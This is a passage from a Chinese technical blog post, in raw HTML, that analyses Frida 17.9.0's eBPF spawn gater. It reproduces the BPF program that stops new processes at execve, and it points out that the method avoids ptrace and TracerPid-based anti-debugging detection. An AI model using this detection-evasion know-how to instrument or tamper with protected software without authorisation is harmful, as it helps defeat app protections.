dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">分析范围与方法</span></h2><p data-line="32" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">分析窗口以17.9.0新增功能为主线（frida-core commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">4e5a60a5..c3864a15</span></code><span leaf="">），同时覆盖17.8.x开发周期中的关键架构变更。涉及以下子项目：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">子项目</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">17.9.0核心提交</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">聚焦方向</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">frida-core</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">7</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">spawn gater、group-stopped注入、control-endpoint</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">frida-gum</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">无17.9.0专属提交</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">frida-python</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">3</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">override_option绑定、spawn gating示例</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">frida-tools</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">releng同步</span></p></td></tr></tbody></table><p data-line="41" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">本文聚焦以下代码：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">eBPF内核侧拦截：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/helpers/spawn-gater.bpf.c</span></code></p></li><li style=""><p><span leaf="">用户态spawn管理：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/spawn-gater.vala</span></code></p></li><li style=""><p><span leaf="">宿主会话集成：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/linux-host-session.vala</span></code></p></li><li style=""><p><span leaf="">Group-stopped注入逻辑：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/frida-helper-backend.vala</span></code><span leaf="">内</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">InjectSession</span></code></p></li><li style=""><p><span leaf="">设备选项覆盖：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/frida.vala</span></code><span leaf="">内</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">override_option()</span></code></p></li><li style=""><p><span leaf="">Droidy/Fruity后端：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/droidy/droidy-host-session.vala</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/fruity/fruity-host-session.vala</span></code></p></li></ol><h2 data-line="50" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">核心功能一：eBPF spawn gater</span></h2><h3 data-line="52" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 设计动机</span></h3><p data-line="54" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Frida在macOS上早已通过DTrace实现spawn gating——当目标系统上有新进程</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">exec</span></code><span leaf="">时，先暂停该进程，通知Frida用户决定是否注入，再恢复执行。但Linux上一直缺少内核级的spawn gating实现，此前只在Android上通过Zygote子进程gating部分覆盖了这一需求。</span></p><p data-line="56" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">17.9.0引入的eBPF spawn gater填补了这一空白。它的核心思路极为精炼：</span><strong><span leaf="">在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">execve</span></code><span leaf="">系统调用入口处用eBPF程序发送</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SIGSTOP</span></code><span leaf="">信号，把新进程冻住，同时通过ringbuf通知用户态</span></strong><span leaf="">。</span></p><p data-line="58" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个方案的工程价值在于：eBPF程序运行在内核态，不需要ptrace附加目标进程，也不会在目标进程的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/pid/status</span></code><span leaf="">中留下TracerPid痕迹，具有天然的反检测优势。</span></p><h3 data-line="60" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 eBPF内核程序：spawn-gater.bpf.c</span></h3><p data-line="62" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">完整的eBPF程序只有55行，非常精炼。核心代码如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="64" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;frida-linux-syscalls.h&#34;</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;linux/bpf.h&gt;</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;bpf/bpf_helpers.h&gt;</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;bpf/bpf_tracing.h&gt;</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> SIGSTOP 19</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> MAX_FILENAME 256</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">typedef</span></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> _</span><span style="color: rgb(128, 128, 128);"><span leaf="">ExecveEvent</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">ExecveEvent</span></span><span leaf="">;</span></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> _</span><span style="color: rgb(128, 128, 128);"><span leaf="">ExecveEvent</span></span><br/><span leaf="">{</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> pid;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> command[MAX_FILENAME];</span><br/><span leaf="">};</span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><br/><span leaf="">{</span></span><span leaf="">  __uint (type, BPF_MAP_TYPE_RINGBUF);</span><br/><span leaf="">  __uint (max_entries, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf=""> &lt;&lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">22</span></span><span leaf="">);</span><br/><span leaf="">}</span><br/><span leaf="">events </span><span style="color: rgb(128, 128, 128);"><span leaf="">SEC</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;.maps&#34;</span></span><span leaf="">)</span></span><span leaf="">;</span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">trace_event_raw_sys_enter</span></span><br/><span leaf="">{</span></span><span leaf="">  __u64 unused;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> id;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> args[</span><span style="color: rgb(0, 128, 0);"><span leaf="">6</span></span><span leaf="">];</span><br/><span leaf="">};</span><br/><span leaf="">SEC (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;tracepoint/raw_syscalls/sys_enter&#34;</span></span><span leaf="">)</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">on_execve_enter</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> trace_event_raw_sys_enter * ctx)</span></span><br/><span leaf="">{</span><br/><span leaf="">  __s32 nr = (__s32) ctx-&gt;id;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (nr != FRIDA_LINUX_SYSCALL_EXECVE)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">  ExecveEvent * e = bpf_ringbuf_reserve (&amp;events, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf=""> (ExecveEvent), </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (e == </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">  e-&gt;pid = bpf_get_current_pid_tgid () &gt;&gt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">32</span></span><span leaf="">;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> * filename = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *) ctx-&gt;args[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">];</span><br/><span leaf="">  bpf_probe_read_user_str (e-&gt;command, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf=""> (e-&gt;command), filename);</span><br/><span leaf="">  bpf_ringbuf_submit (e, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">  bpf_send_signal (SIGSTOP);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> LICENSE[] SEC (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;license&#34;</span></span><span leaf="">) = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Dual BSD/GPL&#34;</span></span><span leaf="">;</span></code></pre><p data-line="121" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">逐层分析关键设计决策：</span></p><p data-line="123" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">挂载点选择：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tracepoint/raw_syscalls/sys_enter</span></code></strong></p><p data-line="125" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">与17.8.0的syscall-tracer一脉相承，使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">raw_syscalls/sys_enter</span></code><span leaf="">而非</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tracepoint/syscalls/sys_enter_execve</span></code><span leaf="">。原因是Android GKI 2.0内核默认关闭了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FTRACE_SYSCALLS</span></code><span leaf="">，而</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">raw_syscalls</span></code><span leaf="">是always-on的。通过在eBPF内部手动判断</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ctx-&gt;id == FRIDA_LINUX_SYSCALL_EXECVE</span></code><span leaf="">来过滤，虽然多了一次比较，但换来了对所有Linux/Android内核的兼容性。</span></p><p data-line="127" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FRIDA_LINUX_SYSCALL_EXECVE</span></code><span leaf="">定义在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida-linux-syscalls.h</span></code><span leaf="">中，会根据目标架构自动选择正确的系统调用号（x86_64上为59，arm64上为221等），预编译产物覆盖了arm、arm64、x86、x86_64、mips、mips64共10个架构变体。</span></p><p data-line="129" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">事件结构：ExecveEvent</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 